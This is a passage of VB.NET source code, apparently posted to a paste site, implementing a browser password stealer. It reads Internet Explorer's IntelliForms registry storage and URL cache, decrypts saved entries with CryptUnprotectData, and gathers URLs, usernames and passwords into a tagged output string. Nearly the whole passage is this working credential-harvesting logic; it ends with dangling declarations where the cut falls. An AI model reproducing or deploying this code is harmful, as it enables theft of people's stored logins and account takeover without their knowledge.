  1238. ptrData = New IntPtr(ptrEntry.ToInt32() + hIndex.dwEntriesCount * cbentry)
  1239. For i As Integer = 0 To hIndex.dwEntriesCount - 1 Step 2
  1240. If ptrData = IntPtr.Zero Or ptrEntry = IntPtr.Zero Then Exit Sub
  1241. eIndex = CType(Marshal.PtrToStructure(ptrEntry, eIndex.GetType()), StringIndexEntry)
  1242. If lstrlenA(New IntPtr(ptrData.ToInt32 + eIndex.dwDataOffset)) <> eIndex.dwDataSize Then 'UNICODE
  1243. strUserName = Marshal.PtrToStringUni(New IntPtr(ptrData.ToInt32 + eIndex.dwDataOffset))
  1244. Else 'ANSI
  1245. strUserName = Marshal.PtrToStringAnsi(New IntPtr(ptrData.ToInt32 + eIndex.dwDataOffset))
  1246. End If
  1247. ptrEntry = New IntPtr(ptrEntry.ToInt32 + cbentry)
  1248. eIndex = CType(Marshal.PtrToStructure(ptrEntry, eIndex.GetType()), StringIndexEntry)
  1249. strPasswd = Space(eIndex.dwDataSize)
  1250. If lstrlenA(New IntPtr(ptrData.ToInt32 + eIndex.dwDataOffset)) <> eIndex.dwDataSize Then 'UNICODE
  1251. strPasswd = Marshal.PtrToStringUni(New IntPtr(ptrData.ToInt32 + eIndex.dwDataOffset))
  1252. Else 'ANSI
  1253. strPasswd = Marshal.PtrToStringAnsi(New IntPtr(ptrData.ToInt32 + eIndex.dwDataOffset))
  1254. End If
  1255. ptrEntry = New IntPtr(ptrEntry.ToInt32 + cbentry)
  1256. OL += "|URL| " & strURL & vbNewLine & "|USR| " & strUserName & vbNewLine & "|PWD| " & strPasswd & vbNewLine
  1257. Next
  1258. End If
  1259. ElseIf hIndex.dwType = 0 Then 'champ
  1260. strPasswd = vbNullString
  1261. ptrEntry = New IntPtr(ptr.ToInt32 + hIndex.dwStructSize)
  1262. ptrData = New IntPtr(ptrEntry.ToInt32() + hIndex.dwEntriesCount * cbentry)
  1263. If ptrData = IntPtr.Zero Or ptrEntry = IntPtr.Zero Then Exit Sub
  1264. For k = 0 To hIndex.dwEntriesCount - 1
  1265. eIndex = CType(Marshal.PtrToStructure(ptrEntry, eIndex.GetType()), StringIndexEntry)
  1266. strUserName = Space(eIndex.dwDataSize)
  1267. If lstrlenA(New IntPtr(ptrData.ToInt32() + eIndex.dwDataOffset)) <> eIndex.dwDataSize Then 'UNICODE
  1268. strUserName = Marshal.PtrToStringUni(New IntPtr(ptrData.ToInt32() + eIndex.dwDataOffset))
  1269. Else 'ANSI
  1270. strUserName = Marshal.PtrToStringAnsi(New IntPtr(ptrData.ToInt32() + eIndex.dwDataOffset))
  1271. End If
  1272. ptrEntry = New IntPtr(ptrEntry.ToInt32() + cbentry)
  1273. OL += "|URL| " & strURL & vbNewLine & "|USR| " & strUserName & vbNewLine & "|PWD| " & strPasswd & vbNewLine
  1274. Next
  1275. End If
  1276. End Sub
  1277. Private Sub AddPasswdInfo(ByVal strRess As String, ByVal hKey As Integer)
  1278. Dim strHash As String
  1279. Dim dwType, ret, cbData As Integer
  1280. Dim dataOut, dataIn, Entropy As DATA_BLOB
  1281. strRess = LCase(strRess)
  1282. strHash = GetSHA1Hash(System.Text.UnicodeEncoding.Unicode.GetBytes(strRess))
  1283. strHash = strHash & Right("00" & Hex(CheckSum(strHash)), 2)
  1284. ret = RegQueryValueEx(hKey, strHash, 0, dwType, IntPtr.Zero, cbData)
  1285. If cbData > 0 Then
  1286. Dim ptrData As IntPtr = Marshal.AllocHGlobal(cbData)
  1287. ret = RegQueryValueEx(hKey, strHash, 0, dwType, ptrData, cbData)
  1288. dataIn.cbData = cbData
  1289. dataIn.pbData = ptrData.ToInt32
  1290. Entropy.cbData = Len(strRess) * 2 + 2
  1291. Entropy.pbData = Marshal.StringToHGlobalUni(strRess).ToInt32
  1292. Call CryptUnprotectData(dataIn, 0, Entropy, 0, 0, 0, dataOut)
  1293. ProcessIEPass(strRess, strHash, dataOut)
  1294. Marshal.FreeHGlobal(New IntPtr(Entropy.pbData))
  1295. LocalFree(dataOut.pbData)
  1296. End If
  1297. End Sub
  1298. Protected Function CopyString(ByVal ptr As IntPtr) As String
  1299. Return Marshal.PtrToStringUni(ptr)
  1300. End Function
  1301. Public Sub Refresh()
  1302. Try
  1303. ' OL += vbNewLine & "###IE" & vbNewLine
  1304. Dim i As Integer
  1305. Dim hFile As Integer
  1306. Dim dwSize As Integer
  1307. Dim ptr As IntPtr
  1308. Dim centry As INTERNET_CACHE_ENTRY_INFO
  1309. Dim hKey1 As Integer
  1310. Dim hKey2 As Integer
  1311. Dim url As String
  1312. Dim nameRegex As New System.Text.RegularExpressions.Regex("name=""([^""]+)""", System.Text.RegularExpressions.RegexOptions.Compiled)
  1313. RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\IntelliForms\Storage1", 0, KEY_READ, hKey1)
  1314. RegOpenKeyEx(HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\IntelliForms\Storage2", 0, KEY_READ, hKey2)
  1315. If hKey2 <> 0 OrElse hKey1 <> 0 Then
  1316. hFile = FindFirstUrlCacheEntry(vbNullString, IntPtr.Zero, dwSize)
  1317. If dwSize > 0 Then
  1318. ptr = Marshal.AllocHGlobal(dwSize)
  1319. Marshal.WriteInt32(ptr, dwSize)
  1320. hFile = FindFirstUrlCacheEntry(vbNullString, ptr, dwSize)
  1321. Do
  1322. centry = CType(Marshal.PtrToStructure(ptr, centry.GetType()), INTERNET_CACHE_ENTRY_INFO)
  1323. If (centry.CacheEntryType And (NORMAL_CACHE_ENTRY Or URLHISTORY_CACHE_ENTRY)) <> 0 Then
  1324. url = GetStrFromPtrA(New IntPtr(centry.lpszSourceUrlName))
  1325. If url.IndexOf("?") >= 0 Then url = url.Substring(0, url.IndexOf("?"))
  1326. If (InStr(url, "@") > 0) Then url = Mid(url, InStr(url, "@") + 1)
  1327. If hKey1 <> 0 AndAlso (centry.CacheEntryType And NORMAL_CACHE_ENTRY) = NORMAL_CACHE_ENTRY Then
  1328. Dim header As String = GetStrFromPtrA(New IntPtr(centry.lpHeaderInfo))
  1329. If Not String.IsNullOrEmpty(header) AndAlso header.Contains("text/html") Then
  1330. Dim localName As String = GetStrFromPtrA(New IntPtr(centry.lpszLocalFileName))
  1331. Try
  1332. For Each input As System.Text.RegularExpressions.Match In nameRegex.Matches(System.IO.File.ReadAllText(localName))
  1333. AddPasswdInfo(input.Groups(1).Value, hKey1)
  1334. Next
  1335. Catch
  1336. End Try
  1337. End If
  1338. End If
  1339. AddPasswdInfo(url, hKey2)
  1340. End If
  1341. dwSize = 0
  1342. Call FindNextUrlCacheEntry(hFile, IntPtr.Zero, dwSize)
  1343. Marshal.FreeHGlobal(ptr)
  1344. If dwSize > 0 Then
  1345. ptr = Marshal.AllocHGlobal(dwSize)
  1346. Marshal.WriteInt32(ptr, dwSize)
  1347. End If
  1348. Loop While FindNextUrlCacheEntry(hFile, ptr, dwSize) <> 0
  1349. FindCloseUrlCache(hFile)
  1350. End If
  1351. RegCloseKey(hKey1)
  1352. RegCloseKey(hKey2)
  1353. End If
  1354. Dim str_Renamed As String
  1355. Dim dwNbCred, lpCredentials As Integer
  1356. Dim szAuth, strRess As String
  1357. Dim Cred As CREDENTIAL
  1358. end class
Add Comment
Please, Sign In to add comment